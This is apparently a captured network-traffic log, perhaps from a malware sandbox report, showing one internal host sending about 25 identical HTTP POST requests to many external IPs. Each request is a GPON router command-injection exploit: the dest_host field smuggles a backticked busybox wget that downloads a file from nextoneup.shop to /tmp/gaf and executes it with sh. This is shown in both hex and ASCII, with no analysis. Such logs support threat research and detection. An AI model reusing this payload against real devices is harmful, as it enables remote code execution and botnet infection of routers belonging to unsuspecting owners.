Apr 14, 2024 04:01:05.098525047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1486	192.168.2.13	41246	42.196.85.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098526001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1487	192.168.2.13	33972	37.123.156.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098551035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1488	192.168.2.13	49784	2.119.85.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098581076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1489	192.168.2.13	59236	118.183.186.48	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098714113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1490	192.168.2.13	42374	123.210.146.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098715067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1491	192.168.2.13	58146	210.119.101.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098747015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1492	192.168.2.13	57616	202.34.105.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098754883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1493	192.168.2.13	35998	5.252.201.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098759890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1494	192.168.2.13	40538	2.221.137.157	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098819017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1495	192.168.2.13	37388	178.13.103.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:05.098819971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1496	192.168.2.13	42148	5.185.45.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130068064 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1497	192.168.2.13	34822	37.181.44.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130237103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1498	192.168.2.13	37586	212.182.242.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130239010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1499	192.168.2.13	57430	117.246.219.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130239010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1500	192.168.2.13	50384	42.153.123.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130278111 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1501	192.168.2.13	47694	123.81.202.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130297899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1502	192.168.2.13	54552	212.44.53.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130314112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1503	192.168.2.13	52640	118.86.63.226	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130347013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1504	192.168.2.13	55748	212.232.80.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130357027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1505	192.168.2.13	52376	42.93.136.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130367041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1506	192.168.2.13	36532	212.231.64.177	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130379915 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1507	192.168.2.13	44052	178.247.174.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130419016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1508	192.168.2.13	38814	117.54.206.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130430937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1509	192.168.2.13	33016	42.21.18.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130430937 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1510	192.168.2.13	56046	2.49.247.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.130448103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

